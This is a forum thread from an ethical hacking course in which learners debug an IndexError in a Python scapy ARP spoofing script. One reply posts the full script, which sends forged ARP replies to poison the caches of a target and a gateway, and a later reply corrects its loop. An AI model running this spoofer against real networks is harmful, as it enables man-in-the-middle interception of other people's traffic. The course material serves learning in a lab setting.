Index Error with Arp Spoof for wlan0

My exact problem is here:

Traceback (most recent call last):
File “arp_spoof.py”, line 40, in
spoof(target_ip, gateway_ip)
File “arp_spoof.py”, line 17, in spoof
target_mac = get_mac(target_ip)
File “arp_spoof.py”, line 13, in get_mac
return answered_list[0][1].hwsrc
File “/usr/lib/python2.7/dist-packages/scapy/plist.py”, line 118, in getitem
return self.res.getitem(item)
IndexError: list index out of range

whenever I attempt to use the Arp Spoof programme on wlan0, I get this code. I have attempted to debug but am not sure what I do to influence this IndexError.

Please help

Is this from Zaid’s Python Ethical Hacking course? Can you give us the name of the instructor, course, section, and current lesson?

The error is in your code. Can you post your code for inspection?

Hi,

Please try this slight change in the arp_spoof.py

#!/usr/bin/env python

import scapy.all as scapy
import time
import sys


def get_mac(ip):
    arp_request = scapy.ARP(pdst=ip)
    broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
    arp_request_broadcast = broadcast/arp_request
    answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]
    return answered_list[0][1].hwsrc

def spoof(target_ip, spoof_ip):
    target_mac = get_mac(target_ip)
    packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
    scapy.send(packet, verbose=False)

def restore(destination_ip, source_ip):
    destination_mac = get_mac(destination_ip)
    source_mac = get_mac(source_ip)
    packet = scapy.ARP(op=2, pdst=destination_ip, hwdst=destination_mac, psrc=source_ip, hwsrc=source_mac)
    scapy.send(packet, count=10, verbose=False)


target_ip = "10.0.2.15"
gateway_ip = "10.0.2.1"

target_mac = get_mac(target_ip)
destination_mac = get_mac(gateway_ip)
packets_sent_count = 0

try:
        while True:
        spoof(target_ip, gateway_ip)
        spoof(gateway_ip, target_ip)
        packets_sent_count += 2
        print("\r[+] Packets Sent " + str(packets_sent_count)),
        sys.stdout.flush()
        time.sleep(2)
except KeyboardInterrupt:
    print("\n[-] Detected CTRL + C ... Resetting ARP tables..... Please wait.\n")
    restore(target_ip, gateway_ip)
    restore(gateway_ip, target_ip)
1 Like

I’m running into the same issue. I have the same code as @AJS more or less. I’ve noticed the script runs into the error when I start loading pages in quick succession on the Windows 10 VM. Anyone have any ideas?

To give more context: this is from the “Writing an ARP Spoofer” exercise from Zaid Al Quraishi’s “Learn Python & Ethical Hacking From Scratch” course.

Hi Pipboy,

Actually, I forgot to indent the “try” block in the above command. Please make sure that you indent the block of code correctly when you write the program.

try:
        while True:
            spoof(target_ip, gateway_ip)
            spoof(gateway_ip, target_ip)
            packets_sent_count += 2
            print("\r[+] Packets Sent " + str(packets_sent_count)),
            sys.stdout.flush()
            time.sleep(2)

Then run it as shown in the lecture to start ARP poisoning.

My script had the correct while loop indentation, but I just tried running it again and did not get the list Index Error I was getting last night. I sent 350 ARP packets total. It seems to be fixed. I’ll post again if I run into the same error in the future, because I don’t know what was causing it.